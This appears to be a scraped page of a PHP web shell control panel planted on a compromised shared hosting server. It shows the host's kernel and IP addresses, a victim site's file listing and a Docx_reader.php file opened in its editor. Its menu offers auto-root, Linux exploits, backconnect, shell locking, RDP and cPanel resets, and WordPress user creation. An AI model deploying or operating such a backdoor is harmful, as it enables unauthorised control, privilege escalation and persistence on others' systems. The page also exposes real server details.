Linux host40.registrar-servers.com 4.18.0-513.18.1.lve.2.el8.x86_64 #1 SMP Sat Mar 30 15:36:11 UTC 2024 x86_64
Apache
: 68.65.120.213 | : 216.73.216.43
Cant Read [ /etc/named.conf ]
7.4.33
trade
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
trade /
contract.tradesense.co.ke /
inc /
helpers /
[ HOME SHELL ]
Name
Size
Permission
Action
mpdf
[ DIR ]
drwxr-xr-x
phpmailer
[ DIR ]
drwxr-xr-x
Doc.php
6.3
KB
-rw-r--r--
Docx_reader.php
8.17
KB
-rw-r--r--
Download.php
1.54
KB
-rw-r--r--
Mailer.php
374
B
-rw-r--r--
Resize.php
13.84
KB
-rw-r--r--
actions.php
239
B
-rw-r--r--
core.php
8
KB
-rw-r--r--
excel_reader.php
60.63
KB
-rw-r--r--
html_to_doc.inc.php
5.67
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Docx_reader.php
<?php class Docx_reader { private $fileData = false; private $errors = array(); private $styles = array(); public function __construct() { } private function load($file) { if (file_exists($file)) { $zip = new ZipArchive(); $openedZip = $zip->open($file); if ($openedZip === true) { //attempt to load styles: if (($styleIndex = $zip->locateName('word/styles.xml')) !== false) { $stylesXml = $zip->getFromIndex($styleIndex); $xml = simplexml_load_string($stylesXml); $namespaces = $xml->getNamespaces(true); $children = $xml->children($namespaces['w']); foreach ($children->style as $s) { $attr = $s->attributes('w', true); if (isset($attr['styleId'])) { $tags = array(); $attrs = array(); foreach (get_object_vars($s->rPr) as $tag => $style) { $att = $style->attributes('w', true); switch ($tag) { case "b": $tags[] = 'strong'; break; case "i": $tags[] = 'em'; break; case "color": //echo (String) $att['val']; $attrs[] = 'color:#' . $att['val']; break; case "sz": $attrs[] = 'font-size:' . $att['val'] . 'px'; break; } } $styles[(String)$attr['styleId']] = array('tags' => $tags, 'attrs' => $attrs); } } $this->styles = $styles; } if (($index = $zip->locateName('word/document.xml')) !== false) { // If found, read it to the string $data = $zip->getFromIndex($index); // Close archive file $zip->close(); return $data; } $zip->close(); } else { switch($openedZip) { case ZipArchive::ER_EXISTS: $this->errors[] = 'File exists.'; break; case ZipArchive::ER_INCONS: $this->errors[] = 'Inconsistent zip file.'; break; case ZipArchive::ER_MEMORY: $this->errors[] = 'Malloc failure.'; break; case ZipArchive::ER_NOENT: $this->errors[] = 'No such file.'; break; case ZipArchive::ER_NOZIP: $this->errors[] = 'File is not a zip archive.'; break; case ZipArchive::ER_OPEN: $this->errors[] = 'Could not open file.'; break; case ZipArchive::ER_READ: $this->errors[] = 'Read error.'; break; case ZipArchive::ER_SEEK: $this->errors[] = 'Seek error.'; break; } } } else { $this->errors[] = 'File does not exist.'; } } public function setFile($path) { $this->fileData = $this->load($path); } public function to_plain_text() { if ($this->fileData) { return strip_tags($this->fileData); } else { return false; } } public function to_html() { if ($this->fileData) { $xml = simplexml_load_string($this->fileData); $namespaces = $xml->getNamespaces(true); $children = $xml->children($namespaces['w']); $html = ''; foreach ($children->body->p as $p) { $style = ''; $startTags = array(); $startAttrs = array(); if($p->pPr->pStyle) { $objectAttrs = $p->pPr->pStyle->attributes('w',true); $objectStyle = (String) $objectAttrs['val']; if(isset($this->styles[$objectStyle])) { $startTags = $this->styles[$objectStyle]['tags']; $startAttrs = $this->styles[$objectStyle]['attrs']; } } if ($p->pPr->spacing) { $att = $p->pPr->spacing->attributes('w', true); if (isset($att['before'])) { $style.='padding-top:' . ($att['before'] / 10) . 'px;'; } if (isset($att['after'])) { $style.='padding-bottom:' . ($att['after'] / 10) . 'px;'; } } $html.='<span class="block" style="' . $style . '">'; $li = false; if ($p->pPr->numPr) { $li = true; $html.='<li>'; } foreach ($p->r as $part) { //echo $part->t; $tags = $startTags; $attrs = $startAttrs; foreach (get_object_vars($part->pPr) as $k => $v) { if ($k = 'numPr') { $tags[] = 'li'; } } foreach (get_object_vars($part->rPr) as $tag => $style) { //print_r($style->attributes()); $att = $style->attributes('w', true); switch ($tag) { case "b": $tags[] = 'strong'; break; case "i": $tags[] = 'em'; break; case "color": //echo (String) $att['val']; $attrs[] = 'color:#' . $att['val']; break; case "sz": $attrs[] = 'font-size:' . $att['val'] . 'px'; break; } } $openTags = ''; $closeTags = ''; foreach ($tags as $tag) { $openTags.='<' . $tag . '>'; $closeTags.='</' . $tag . '>'; } $html.='<span style="' . implode(';', $attrs) . '">' . $openTags . $part->t . $closeTags . '</span>'; } if ($li) { $html.='</li>'; } $html.="</span>"; } //Trying to weed out non-utf8 stuff from the file: $regex = <<<'END' / ( (?: [\x00-\x7F] # single-byte sequences 0xxxxxxx | [\xC0-\xDF][\x80-\xBF] # double-byte sequences 110xxxxx 10xxxxxx | [\xE0-\xEF][\x80-\xBF]{2} # triple-byte sequences 1110xxxx 10xxxxxx * 2 | [\xF0-\xF7][\x80-\xBF]{3} # quadruple-byte sequence 11110xxx 10xxxxxx * 3 ){1,100} # ...one or more times ) | . # anything else /x END; preg_replace($regex, '$1', $html); return $html; exit(); } } public function get_errors() { return $this->errors; } private function getStyles() { } }
Close